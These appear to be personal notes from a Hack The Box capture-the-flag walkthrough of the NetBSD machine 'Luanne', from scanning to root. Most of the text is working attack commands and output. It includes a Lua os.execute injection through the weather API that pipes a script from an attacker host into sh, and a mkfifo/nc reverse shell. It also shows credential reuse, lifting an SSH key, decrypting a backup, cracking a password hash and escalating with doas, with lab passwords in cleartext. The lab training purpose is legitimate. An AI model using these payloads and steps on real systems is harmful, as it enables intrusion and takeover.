Credentials

Service	User	Password	Desc
Supervisord	user	123	Default Cred
Web	webapi_user	iamthebest	.htpasswd
OS	root	littlebear	Encypted Backup (.htpasswd)

- OS NetBSD
- 9001: Running Medusa Supervisot Server Default creds user:123

```
Nmap scan report for 10.10.10.218
Host is up (0.092s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at
```

```
https://nmap.org/submit/ .
```

Default Creds for Medusa

https://developpaper.com/supervisor-process-manager/
https://linoxide.com/supervisor-monitor-linux-servers-processes/
User: user
Pass: 123# ODD Behavior

- / asks for auth no other endpoint does
- Robots.txt says weather exists

```
curl -v http://10.10.10.218/robots.txt
User-agent: *
Disallow: /weather  #returning 404 but still harvesting cities
* Connection #0 to host 10.10.10.218 left intact
```

FFUF /weather/

- Looked for api Endpoints underneath /weather based upon robots.txt and supervisord

Fuzzing files API

```
┌─[user@parrot-virtual]─[~/htb/luanne]
└──╼ $ffuf -u http://10.10.10.218/weather/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.0 Kali Exclusive <3

________________________________________________
```

```
 :: Method           : GET
 :: URL              : http://10.10.10.218/weather/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-
words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

forecast                [Status: 200, Size: 90, Words: 12, Lines: 2]
:: Progress: [43003/43003] :: Job [1/1] :: 417 req/sec :: Duration: [0:01:44]
:: Errors: 0 ::
```

Fuzzing using FW 5

```
┌─[user@parrot-virtual]─[~/htb/luanne]
└──╼ $ffuf -u http://10.10.10.218/weather/forecast?city=FUZZ -w
/opt/SecLists/Fuzzing/special-chars.txt -mc 200,500 -fw 5

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.218/weather/forecast?city=FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Fuzzing/special-chars.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,500
```

```
 :: Filter           : Response words: 5
________________________________________________

+                       [Status: 500, Size: 40, Words: 6, Lines: 1]
'                       [Status: 500, Size: 77, Words: 9, Lines: 2]
%                       [Status: 200, Size: 90, Words: 12, Lines: 2]
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::
Errors: 0 ::
```

Identifying valid injection payload, by trying to get ' to not error the application

```
└──╼ $ffuf -u http://10.10.10.218/weather/forecast?city=\'FUZZ-- -w
/opt/SecLists/Fuzzing/special-chars.txt  -mc 200,500 -fw 9$
$
        /'___\  /'___\           /'___\+++++++$
       /\ \__/ /\ \__/  __  __  /\ \__/+++++++$
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\++++++$
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/++++++$
         \ \_\   \ \_\  \ \____/  \ \_\+++++++$
          \/_/    \/_/   \/___/    \/_/+++++++$
$
       v1.3.0 Kali Exclusive <3$
________________________________________________$
$
 :: Method           : GET$
 :: URL              : http://10.10.10.218/weather/forecast?city='FUZZ--$
 :: Wordlist         : FUZZ: /opt/SecLists/Fuzzing/special-chars.txt$
 :: Follow redirects : false$
 :: Calibration      : false$
 :: Timeout          : 10$
 :: Threads          : 40$
 :: Matcher          : Response status: 200,500$
 :: Filter           : Response words: 9$
________________________________________________$
$
)                       [Status: 500, Size: 37, Words: 5, Lines: 1]$
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::
Errors: 0 ::$
```# Supervisord
Default Creds:
```
```

```
* user:123 (on
[readthedocs]https://supervisord.readthedocs.io/en/latest/configuration.html?
highlight=password#unix-http-server-section-values)
 ![[Pasted image 20210412170104.png]]
```Bash
/python3.8 /usr/pkg/bin/supervisord-3.8
root        348  0.0  0.0  71348  2928 ?     Is    5:06PM 0:00.00
/usr/sbin/sshd
_httpd      376  0.0  0.0  34952  1996 ?     Is    5:06PM 0:00.01
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather
/usr/local/webapi/weather.lua -U _httpd -b /var/www
root        402  0.0  0.0  20216  1648 ?     Ss    5:06PM 0:00.03
/usr/sbin/cron
_httpd     9230  0.0  0.0  17684  1416 ?     O     8:19PM 0:00.00
/usr/bin/egrep ^USER| \\\\\[system\\\\\] *$| init *$| /usr/sbin/sshd *$|
/usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
*$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -
s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$
root        421  0.0  0.0  23072  1576 ttyE1 Is+   5:06PM 0:00.00
/usr/libexec/getty Pc ttyE1
root        388  0.0  0.0  19924  1584 ttyE2 Is+   5:06PM 0:00.00
/usr/libexec/getty Pc ttyE2
root        433  0.0  0.0  19780  1576 ttyE3 Is+   5:06PM 0:00.00
/usr/libexec/getty Pc ttyE3
```

Two Interesting Processes... had to tail stdout in supervisord

```
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather
/home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U
r.michaels -b /home/r.michaels/devel/www
```

```
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather
/usr/local/webapi/weather.lua -U _httpd -b /var/www
```

HTTPD: Arguement Descriptions

- -u, Enables ~user dir
```

- -X enables DIR indexing
- -s logging to stderr
- -l Port is diff
- Location of lua
- -P PID
- -U, Switch to User
- -b background## Curl Request

```
─[user@parrot-virtual]─[~/htb/luanne/www]
└──╼ $curl "10.10.10.218/weather/forecast?
city=');os.execute('curl+10.10.14.23:8000/rev.sh+|+sh')--"
```

Rev shell contents

```
┌─[user@parrot-virtual]─[~/htb/luanne/www]
└──╼ $cat rev.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 9001 >/tmp/f
```

Shell call back

```
┌─[user@parrot-virtual]─[~/htb/luanne/www]
└──╼ $nc -lnvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.218.
Ncat: Connection from 10.10.10.218:65174.
sh: can't access tty; job control turned off
$ ls
index.html
robots.txt
$ exit
```

Getting r.michaels ssh key

The password if from .htpasswd readable by nginx

```
curl --user webapi_user:iamthebest localhost:3001/~r.michaels/$
```

```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time

Current$
                                 Dload  Upload   Total   Spent    Left  Speed$
100   601    0   601    0     0   293k      0 --:--:-- --:--:-- --:--:--  293k$
<!DOCTYPE html>$
<html><head><meta charset="utf-8"/>$
<style type="text/css">$
table {$
>   border-top: 1px solid black;$
>   border-bottom: 1px solid black;$
}$
th { background: aquamarine; }$
tr:nth-child(even) { background: lavender; }$
</style>$
<title>Index of ~r.michaels/</title></head>$
<body><h1>Index of ~r.michaels/</h1>$
<table cols=3>$
<thead>$
<tr><th>Name<th>Last modified<th align=right>Size$
<tbody>$
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td
align=right>1kB$
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB$
</table>$
</body></html>$
```

GNUPGP Key:

```
luanne$ cd .gnupg/
luanne$ ls
pubring.gpg secring.gpg
luanne$ ls -la
total 16
drwx------  2 r.michaels  users   512 Sep 14  2020 .
dr-xr-x---  7 r.michaels  users   512 Sep 16  2020 ..
-rw-------  1 r.michaels  users   603 Sep 14  2020 pubring.gpg
-rw-------  1 r.michaels  users  1291 Sep 14  2020 secring.gpg
```

Decypt Backups

```
luanne$ cd backups/
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc
luanne$ ls -la
total 12
dr-xr-xr-x  2 r.michaels  users   512 Nov 24 09:26 .
dr-xr-x---  7 r.michaels  users   512 Sep 16  2020 ..
-r--------  1 r.michaels  users  1970 Nov 24 09:25 devel_backup-2020-09-
16.tar.gz.enc

luanne$ netpgp --decrypt --output=/tmp/backups.tar.gz devel_backup-2020-09-
16.tar.gz.enc
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid              RSA 2048-bit key <r.michaels@localhost>
```

Users password is in devel-2020-09-16/www/.htpasswd of decrypted tar file

```
luanne$ cd /tmp
luanne$ ls
backups.tar.gz
luanne$ tar zxvf backups.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd

luanne$ ls -la
total 32
drwxr-xr-x  2 r.michaels  wheel   96 Sep 16  2020 .
drwxr-x---  4 r.michaels  wheel   96 Sep 16  2020 ..
-rw-r--r--  1 r.michaels  wheel   47 Sep 16  2020 .htpasswd
-rw-r--r--  1 r.michaels  wheel  378 Sep 16  2020 index.html
```

```
luanne$ cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
```

Decrypting passwd gives out "littlebear"

```
└──╼ $hashcat -m 500 --force hash2.txt /usr/share/wordlists/rockyou.txt
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
luanne$ doas sh
Password:
# whoami
root$
#
```